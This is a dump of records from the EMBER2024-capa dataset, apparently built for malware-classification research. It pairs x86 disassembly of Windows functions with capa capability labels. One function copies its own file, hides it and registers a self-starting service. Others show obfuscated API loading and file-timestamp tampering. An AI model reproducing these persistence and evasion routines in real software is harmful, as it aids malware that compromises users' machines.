joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401e60
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40703c]
sub esp, 4
test ebx, ebx
je 0x401eab
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401ea4
test esi, esi
je 0x401ea4
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401e80
mov dword [esp], 0x407044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x402090
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x4020e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x4021b8
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x40211e
cmp eax, 4
jne 0x402140
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x40212e
cmp edx, 4
je 0x40212e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00402090
Function at 0x401198
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
and dword [ebp - 8], 0
lea eax, [ebp - 4]
push eax
push 4
push str.6NxRtZ__nBVtNvNx__BLXNv_
call fcn.00403434
pop ecx
pop ecx
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x401282
push ebx
push esi
push edi
mov ebx, 0x40f967
push eax
push ebx
call fcn.00403464
pop ecx
mov dword [ebp - 0xc], eax
pop ecx
lea eax, [ebp - 0x110]
push 0x104
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
test eax, eax
jne 0x401276
lea eax, [ebp - 0x110]
push eax
call fcn.0040c3e8
xor edi, edi
pop ecx
cmp dword [ebp - 0xc], edi
jle 0x40126e
push edi
push ebx
call fcn.00403434
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00403b7d
add esp, 0x10
test eax, eax
je 0x401268
push str.6_HRpB
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x401268
push 2
push str.4ZBvxZt6ZtBVZ0tNVZvv
call fcn.00403434
pop ecx
pop ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x401261
lea ecx, [ebp - 0x110]
push ecx
push dword [ebp - 4]
call eax
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
inc edi
cmp edi, dword [ebp - 0xc]
jl 0x40120f
inc dword [ebp - 8]
jmp 0x4011df
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4048cb
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
and dword [ebp - 4], 0
cmp dword [0x491e88], 0
jne 0x404906
push 4
push str.6NxRtZ__nBVtNvNx__BLXNv_
call fcn.00403434
lea ecx, [ebp - 4]
push ecx
push 0x4047fd
push eax
push closesocket
call fcn.00404562
add esp, 0x18
jmp 0x404942
lea eax, [ebp - 0x418]
push 2
push eax
call fcn.00403bd8
lea eax, [ebp - 0x418]
push eax
push 0x491a78
call fcn.00407370
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x418]
push 0x404769
push eax
push closesocket
call fcn.004045e0
add esp, 0x20
mov eax, dword [ebp - 4]
test eax, eax
mov dword [0x491e8c], eax
jne 0x404a23
push esi
lea eax, [ebp - 0x51c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
xor esi, esi
and byte [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push str._BLF
push eax
call fcn.00407370
pop ecx
lea eax, [ebp - 0x18]
pop ecx
push 4
push 4
push 2
push eax
call fcn.00407460
pop ecx
lea eax, [ebp + eax - 0x18]
push eax
call fcn.00403624
lea eax, [ebp - 0x17]
push eax
call fcn.0040c5cc
lea eax, [ebp - 0x51c]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00407370
lea eax, [ebp - 0x418]
push 0x40e044
push eax
call fcn.00407380
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.00407380
lea eax, [ebp - 0x418]
push 0x40f1dc
push eax
call fcn.00407380
lea eax, [ebp - 0x418]
push eax
call fcn.00403d58
add esp, 0x38
test eax, eax
je 0x404a00
inc esi
cmp esi, 0xa
jl 0x404967
lea eax, [ebp - 0x18]
push eax
push 0x491974
call fcn.00407380
lea eax, [ebp - 0x418]
push eax
push 0x491b7c
call fcn.00407370
add esp, 0x10
pop esi
push 1
pop eax
leave
ret

Function at 0x404b78
Capabilities:
Parse pe header

Disassembly:
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x44
jb 0x404bb3
mov ecx, dword [esp + 8]
cmp byte [ecx], 0x4d
jne 0x404bb3
cmp byte [ecx + 1], 0x5a
jne 0x404bb3
movzx eax, word [ecx + 0x3c]
add eax, ecx
add esi, 0xfffffffc
mov edx, eax
sub edx, ecx
cmp edx, esi
ja 0x404bb3
mov eax, dword [eax]
pop esi
sub eax, 0x4550
neg eax
sbb eax, eax
not eax
and eax, edx
ret
xor eax, eax
pop esi
ret
Function at 0x4050c1
Capabilities:
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
push esi
push edi
push 3
pop edi
lea ecx, [ebp - 0x2c]
call fcn.0040174b
push dword [ebp + 0x10]
call fcn.00407460
mov esi, eax
pop ecx
lea eax, [ebp - 0x14]
add esi, 0x20
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
and word [ebp - 0x12], 0xfffe
xor ebx, ebx
push ebx
call fcn.00404687
pop ecx
xor edx, edx
push 0x1e
pop ecx
div ecx
sub word [ebp - 0xa], dx
cmp word [ebp - 0xa], 0x3c
jb 0x405117
mov word [ebp - 0xa], 1
mov al, byte [ebp - 0xa]
mov ecx, dword [ebp - 0xc]
and eax, 0x3f
shl ecx, 6
or eax, ecx
mov cl, byte [ebp - 8]
shr cl, 1
shl eax, 5
and ecx, 0x1f
or eax, ecx
mov cl, byte [ebp - 2]
mov word [ebp - 4], ax
mov eax, dword [ebp - 0x14]
add eax, 0x44
and ecx, 0x1f
shl eax, 9
xor eax, ecx
mov cl, byte [ebp - 0x12]
and ecx, 0xf
and ax, 0xfe1f
shl ecx, 5
or eax, ecx
mov cl, byte [ebp - 0xe]
mov word [ebp - 2], ax
xor cl, byte [ebp - 2]
and ecx, 0x1f
xor ax, cx
cmp dword [ebp + 0x14], ebx
mov word [ebp - 2], ax
je 0x405172
push 2
pop edi
push 0x20
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push ebx
push 0x20
push edi
push ebx
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
jne 0x4051a1
xor eax, eax
jmp 0x4052af
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x18]
push 1
push eax
lea ecx, [ebp - 0x2c]
push dword [ebp + 0xc]
call fcn.0040174e
cmp eax, ebx
mov dword [ebp + 0xc], eax
je 0x4052a4
mov eax, dword [ebp - 0x18]
mov byte [ebp - 0x14a], 0x74
push eax
mov word [ebp - 0x149], 0x8000
push dword [ebp + 0xc]
mov word [ebp - 0x147], si
mov dword [ebp - 0x145], eax
mov dword [ebp - 0x141], eax
mov byte [ebp - 0x13d], bl
call fcn.00405059
push dword [ebp + 0x10]
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 4]
mov byte [ebp - 0x134], 0x14
mov dword [ebp - 0x138], eax
mov byte [ebp - 0x133], 0x30
call fcn.00407460
push dword [ebp + 0x10]
mov word [ebp - 0x132], ax
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x130], ebx
push eax
call fcn.00407370
movzx edi, si
lea eax, [edi - 2]
push eax
lea eax, [ebp - 0x14a]
push eax
call fcn.00405059
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
add esp, 0x1c
cmp dword [ebp + 0x14], ebx
mov word [ebp - 0x14c], ax
je 0x405277
lea eax, [ebp - 0x1c]
push ebx
push eax
push 0x14
push str.4Rt
push dword [ebp + 8]
call esi
lea eax, [ebp - 0x1c]
push ebx
push eax
lea eax, [ebp - 0x14c]
push edi
push eax
push dword [ebp + 8]
call esi
lea eax, [ebp - 0x1c]
push ebx
push eax
push dword [ebp - 0x18]
push dword [ebp + 0xc]
push dword [ebp + 8]
call esi
lea ecx, [ebp - 0x2c]
call fcn.00401808
push 1
pop ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4053ac
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x94
push ebx
push esi
push edi
push 1
pop ebx
push ebx
call fcn.00404687
mov esi, 0x104
xor edi, edi
push esi
push edi
push 0x491d84
call fcn.00407310
push esi
push edi
push 0x491c80
call fcn.00407310
push esi
push edi
push 0x491b7c
call fcn.00407310
push esi
push edi
push 0x491a78
call fcn.00407310
push esi
push edi
push 0x491974
call fcn.00407310
add esp, 0x40
push 0x40e0d0
push 0x1eac
push 0x40e0d4
call fcn.00403529
push 0x491e90
call fcn.00402642
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetVersion]
and eax, 0x80000000
mov dword [0x491e98], edi
mov dword [0x491e88], eax
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x94], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x90], 5
jne 0x40546c
cmp dword [ebp - 0x8c], ebx
jne 0x40546c
mov dword [0x491e98], ebx
call fcn.004048cb
mov esi, 0x7d000
push esi
call fcn.00407baf
cmp eax, edi
pop ecx
mov dword [0x491970], eax
jne 0x40548a
xor eax, eax
jmp 0x4054ae
push esi
push edi
push eax
call fcn.00407310
call fcn.0040556c
push ebx
push 0x40fde0
call fcn.00403434
push eax
push edi
call fcn.004052d3
add esp, 0x1c
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x40556c
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push ebp
push esi
push edi
push 2
push str.6_HRpB
call fcn.00403434
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop ecx
pop ecx
push eax
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
test ebp, ebp
mov edi, str.4ZBvxZt6ZtBVZ0tNVZvv
je 0x4055d1
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 4
push edi
mov dword [0x491ea0], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
push 5
push edi
mov dword [0x491e9c], eax
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491ea4], eax
push 3
push str.6_HRpB
call fcn.00403434
pop ecx
pop ecx
push eax
call ebx
mov ebp, eax
test ebp, ebp
je 0x4055fb
push 3
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebp
call esi
mov dword [0x491ea8], eax
mov edi, str.BLBLZx
push edi
call ebx
mov ebx, eax
test ebx, ebx
je 0x40561c
push 1
push edi
call fcn.00403434
pop ecx
pop ecx
push eax
push ebx
call esi
mov dword [0x491eac], eax
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x4058b1
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x324
push esi
lea ecx, [ebp - 0x18]
call fcn.0040174b
and dword [ebp - 4], 0
lea eax, [ebp - 8]
push 1
push eax
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.0040174e
mov esi, eax
test esi, esi
je 0x405967
lea eax, [ebp - 0x324]
push 0
push eax
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
push dword [ebp + 8]
call fcn.004074db
lea eax, [ebp - 0x220]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407380
lea eax, [ebp - 0x324]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.00407380
lea eax, [ebp - 0x11c]
push 0x40f1d8
push eax
call fcn.00407380
lea eax, [ebp - 0x11c]
push 0x40f1dc
push eax
call fcn.00407380
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push esi
call fcn.00407196
mov esi, eax
add esp, 0x40
test esi, esi
lea ecx, [ebp - 0x18]
jne 0x40596b
call fcn.00401808
xor eax, eax
jmp 0x4059bf
call fcn.00401808
push dword [ebp - 4]
lea eax, [ebp - 0x11c]
push esi
push eax
call fcn.00403cbb
push esi
call fcn.0040780b
add esp, 0x10
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push eax
lea eax, [ebp - 0x11c]
push eax
call fcn.004046b3
pop ecx
test eax, eax
pop ecx
je 0x4059bd
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x11c]
push eax
call fcn.00403dfa
pop ecx
push 1
pop esi
mov eax, esi
pop esi
leave
ret

Function at 0x405e9a
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
and byte [ebp - 0x10c], 0
push ebx
lea eax, [ebp - 0x10c]
push 0x104
push eax
push 1
push 0x40f949
call fcn.00403434
pop ecx
pop ecx
push eax
push str.6NxRtZ__nBVtNvNx__BLXNv_
push closesocket
call fcn.004044c0
lea eax, [ebp - 0x10c]
push eax
call fcn.00405c5a
movsx eax, byte [ebp - 0x10c]
mov bl, byte [ebp - 0x10a]
push eax
call fcn.004076ee
add esp, 0x1c
and dword [ebp - 8], 0
mov byte [ebp - 1], al
mov al, byte [ebp - 8]
add al, 0x61
cmp al, byte [ebp - 1]
je 0x405f44
and byte [ebp - 0x10a], 0
mov byte [ebp - 0x10c], al
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
mov byte [ebp - 0x10a], bl
jne 0x405f44
push dword [ebp + 8]
lea eax, [ebp - 0x10c]
push 0x405e42
push eax
call fcn.00403e11
add esp, 0xc
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1a
jl 0x405efe
xor eax, eax
pop ebx
leave
ret 4
Function at 0x406820
Capabilities:
Copy file
Create service
Persist via windows service
Set file attributes
Start service

Disassembly:
mov eax, 0x1fc8
call fcn.00407b80
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x14]
push 0x104
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov edi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov esi, 0x491b7c
push 0x20
push esi
call edi
push ebx
lea eax, [esp + 0x18]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x20
push esi
mov dword [esp + 0x18], eax
call edi
cmp dword [esp + 0x10], ebx
je 0x4068c3
push 0x1ec0
lea eax, [esp + 0x11c]
push 0x40e0c0
push eax
call fcn.00407820
lea eax, [esp + 0x124]
mov byte [esp + 0x1138], bl
push eax
push esi
call fcn.004054b3
push 0x13000
push esi
call fcn.00404e60
push ebx
call fcn.00404687
xor edx, edx
mov ecx, 0x2800
div ecx
add edx, 0x13200
push edx
push esi
call fcn.00403f63
add esp, 0x28
push 0x27
push esi
call edi
cmp dword [0x491e88], ebx
mov edi, 0x491974
je 0x40691a
push esi
push edi
push 0x491a78
push closesocket
call fcn.0040451c
push 1
push str.6_HRpB
call fcn.00403434
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, eax
push str.4ZBvxZt6ZtBVZ0tNVZvv
push ebp
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x406913
push 1
push ebx
call eax
push ebp
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp dword [esp + 0x10], ebx
jne 0x406924
xor eax, eax
jmp 0x406999
cmp dword [0x491e88], ebx
je 0x406937
push ebx
push esi
call fcn.004046b3
pop ecx
pop ecx
jmp 0x406996
cmp dword [0x491e90], ebx
jne 0x406996
mov ebp, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 2
push ebx
push ebx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push esi
push ebx
push 2
push 0x110
push ebx
push edi
push edi
push eax
mov dword [esp + 0x44], eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push dword [esp + 0x10]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push 1
push ebx
push ebx
call ebp
mov ebp, eax
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
push ebx
push ebx
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push edi
call esi
push ebp
call esi
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1fc8
ret
Function at 0x414ac0
Capabilities:
Encode data using xor

Disassembly:
and al, 0xdb
popfd
dec ebx
xor edx, dword [ebx - 0x7bcc2df5]
sub edx, dword [ecx + 0x4ba27f24]
xor eax, ebx
sal byte [esp + ecx*8 - 0x6c61d786], 0x84
aas
pop edi
fadd dword [ebp + esi*8 - 0x3fc56a1c]
pop esp
int1
mov esp, 0xbb494b3e
mov ah, 0xb1
and al, 0x8f
lahf
dec ebx
xor esi, dword [edx + 0x2eccb802]
dec ecx
dec ecx
push ecx
or bh, byte [esi + 0x10]
in eax, 0x8d
jnp 0x414a8b
fcomp qword [ecx + edi*4]
xor byte [esi + 0x9ce288d], 0x85
aas
in al, 0x24
fild word [esi]
dec edx
xor eax, edx
rcl byte [esi + ecx*4 + 0x7b], 0x7a
mov al, 0x2c
cmp eax, eax
or al, 0xfc
sbb eax, dword [ecx + 0x3f2b24b4]
mov ah, 0x24
sub edi, dword [edi]
dec ebx
xor edx, dword [ebx - 0x7bccb465]
js 0x414a9b
lodsb al, byte [esi]
cmp al, al
pop esp
sbb eax, 0x54b3ffd
mov eax, 0x7bccb4c0
sal byte [esp + ecx*8 - 0x334b3f85], 0x7b
sal byte [esp + ecx*8 + 0x334b3f84], 0x7b
sal byte [esp + ecx*8 + 0x334b3f84], 0x7b
sal byte [esp + ecx*8 - 0x334b3f85], 0x7b
sal byte [esp + ecx*8 + 0x2037c07b], 0x7f
pop es
mov al, 0xe8
xchg edi, eax
push 0x3b72ccf6
sti
movsb byte es:[edi], byte [esi]
jnp 0x414aea
cmc
int3
Function at 0x1000146a
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x138
mov eax, dword [0x1012c510]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x78]
push esi
mov esi, dword [0x10135988]
mov dword [ebp - 0xa0], eax
movzx eax, word [ebp + 0x7c]
push 0xf0
push eax
push esi
mov dword [ebp - 0x9c], 1
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x100015fc
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x100015fc
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x100015fc
push ebx
mov ebx, dword [sym.imp.USER32.dll_SendDlgItemMessageW]
push edi
movzx eax, word [esi]
xor ecx, ecx
cmp cx, ax
je 0x100015fa
inc esi
inc esi
movzx edi, ax
movzx eax, word [esi]
inc esi
inc esi
mov ecx, dword [esi]
mov dword [ebp - 0xa4], ecx
mov ecx, 0x403
add esi, 4
cmp cx, ax
jne 0x1000156b
lea eax, [ebp - 0x94]
push 3
mov dword [ebp - 0x98], eax
push esi
lea eax, [ebp - 0x98]
push eax
call fcn.10001a76
push dword [ebp - 0x98]
movzx eax, di
push 0
push 0x143
push eax
mov eax, dword [ebp - 0xa0]
push dword [eax + 4]
call ebx
cmp eax, 0xffffffff
jne 0x1000154b
and dword [ebp - 0x9c], 0
lea eax, [ebp - 0x94]
cmp dword [ebp - 0x98], eax
je 0x100015e7
push dword [ebp - 0x98]
call fcn.100c14fa
pop ecx
jmp 0x100015e7
mov ecx, 0x1234
cmp cx, ax
jne 0x100015e7
or dword [ebp - 0xc4], 0xffffffff
lea eax, [ebp - 0x94]
push 3
mov dword [ebp - 0x98], eax
push esi
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0xc8], 1
call fcn.10001a76
mov eax, dword [ebp - 0x98]
lea ecx, [ebp - 0x94]
mov dword [ebp - 0xc0], eax
cmp eax, ecx
je 0x100015be
push eax
call fcn.100c14fa
pop ecx
lea eax, [ebp - 0xc8]
push eax
push 0
movzx eax, di
push 0x40b
push eax
mov eax, dword [ebp - 0xa0]
push dword [eax + 4]
call ebx
cmp eax, 0xffffffff
jne 0x100015e7
and dword [ebp - 0x9c], 0
add esi, dword [ebp - 0xa4]
cmp dword [ebp - 0x9c], 0
jne 0x100014db
pop edi
pop ebx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x9c]
xor ecx, ebp
pop esi
call fcn.100bfae1
add ebp, 0x70
leave
ret 8

Function at 0x10007732
Capabilities:
Print debug messages

Disassembly:
push esi
push edi
xor edi, edi
cmp dword [0x10135c94], edi
je 0x10007749
push str.IsolationAware_function_called_after_IsolationAwareCleanup_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp dword [0x10135c8c], edi
jne 0x1000778f
cmp dword [0x10135c94], edi
jne 0x10007762
call fcn.10007511
test eax, eax
je 0x10007794
mov eax, dword [0x10135c7c]
mov esi, dword [0x1012fcf0]
cmp eax, edi
jne 0x10007784
push str.ActivateActCtx
call fcn.10007858
cmp eax, edi
je 0x10007794
mov dword [0x10135c7c], eax
push dword [esp + 0xc]
push esi
call eax
cmp eax, edi
je 0x10007794
xor edi, edi
inc edi
jmp 0x100077b3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7f
je 0x100077a9
cmp eax, 0x7e
je 0x100077a9
cmp eax, 0x78
jne 0x100077b3
xor eax, eax
inc eax
mov dword [0x10135c8c], eax
mov edi, eax
mov eax, edi
pop edi
pop esi
ret 4
Function at 0x100077ba
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetVersion]
push esi
xor esi, esi
push edi
cmp dword [0x10135c78], esi
jne 0x100077f8
call ebp
test eax, eax
jns 0x100077ee
push str.___.___
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push str.Unicows.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [0x10135c74], eax
mov dword [0x10135c78], 1
mov eax, dword [0x10135c74]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, esi
je 0x10007814
push dword [esp + 0x14]
push eax
call edi
mov esi, eax
test esi, esi
jne 0x10007844
mov eax, dword [esp + 0x10]
mov eax, dword [eax]
test eax, eax
jne 0x1000783b
call ebp
test eax, eax
jns 0x1000782c
push dword [ebx + 0xc]
call dword [ebx + 8]
jmp 0x10007831
push dword [ebx + 4]
call dword [ebx]
test eax, eax
je 0x10007844
mov ecx, dword [esp + 0x10]
mov dword [ecx], eax
push dword [esp + 0x14]
push eax
call edi
mov esi, eax
pop edi
mov eax, esi
pop esi
pop ebp
ret 8
Function at 0x10007cc0
Capabilities:
Get graphical window text

Disassembly:
push 0x20
mov eax, 0x100eaff7
call fcn.100c74e5
mov eax, dword [ebp + 8]
mov edi, dword [eax + 4]
xor ebx, ebx
push ebx
mov dword [ebp - 0x28], edi
call dword [sym.imp.ole32.dll_OleInitialize]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
mov esi, eax
lea eax, [esi + esi + 0xa]
cmp eax, 0x400
ja 0x10007d05
call fcn.100c7f80
mov eax, esp
cmp eax, ebx
je 0x10007d19
mov dword [eax], 0xcccc
jmp 0x10007d16
push eax
call fcn.100c1628
pop ecx
cmp eax, ebx
je 0x10007d19
mov dword [eax], 0xdddd
add eax, 8
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 4], ebx
cmp eax, ebx
jne 0x10007d3b
push ebx
call fcn.10001f95
pop ecx
or eax, 0xffffffff
lea esp, [ebp - 0x3c]
call fcn.100c7568
ret 8
inc esi
push esi
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0x10102458
push edi
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov eax, dword [ebp + 0xc]
xor edi, edi
mov dword [ebp - 0x24], ebx
cmp eax, ebx
je 0x10007d66
mov eax, dword [eax]
cmp eax, ebx
je 0x10007d66
movzx edi, word [eax]
push edi
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
mov dword [ebp - 0x18], ebx
mov byte [ebp - 4], 1
cmp esi, ebx
je 0x10007dae
cmp edi, ebx
je 0x10007dae
push esi
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, dword [ebp + 0xc]
mov ecx, dword [ecx]
inc ecx
push edi
inc ecx
push ecx
push edi
push eax
call fcn.100078ac
add esp, 0x10
push esi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
lea eax, [ebp - 0x18]
push eax
push 1
push esi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 3
push dword [ebp - 0x18]
push dword [ebp - 0x28]
push dword [ebp - 0x14]
call fcn.10007bc6
cmp eax, ebx
jge 0x10007e02
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x20]
cmp eax, ebx
je 0x10007de2
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea ecx, [ebp - 0x1c]
call fcn.100078cb
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x18]
cmp eax, ebx
je 0x10007dfa
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push dword [ebp - 0x14]
jmp 0x10007d27
mov esi, dword [ebp - 0x20]
mov eax, dword [esi]
lea ecx, [ebp - 0x24]
push ecx
push 0x1010211c
push esi
call dword [eax]
cmp eax, ebx
jge 0x10007e4c
mov byte [ebp - 4], 2
mov eax, dword [esi]
push esi
call dword [eax + 8]
lea ecx, [ebp - 0x1c]
call fcn.100078cb
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x18]
cmp eax, ebx
je 0x10007e39
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
or ebx, 0xffffffff
push dword [ebp - 0x14]
call fcn.10001f95
pop ecx
mov eax, ebx
jmp 0x10007d30
push dword [ebp - 0x24]
push 0xffffffffffffffeb
push dword [ebp - 0x28]
call dword [sym.imp.USER32.dll_SetWindowLongW]
mov byte [ebp - 4], 2
mov eax, dword [esi]
push esi
call dword [eax + 8]
lea ecx, [ebp - 0x1c]
call fcn.100078cb
mov byte [ebp - 4], bl
mov eax, dword [ebp - 0x18]
cmp eax, ebx
je 0x10007e3c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x10007e3c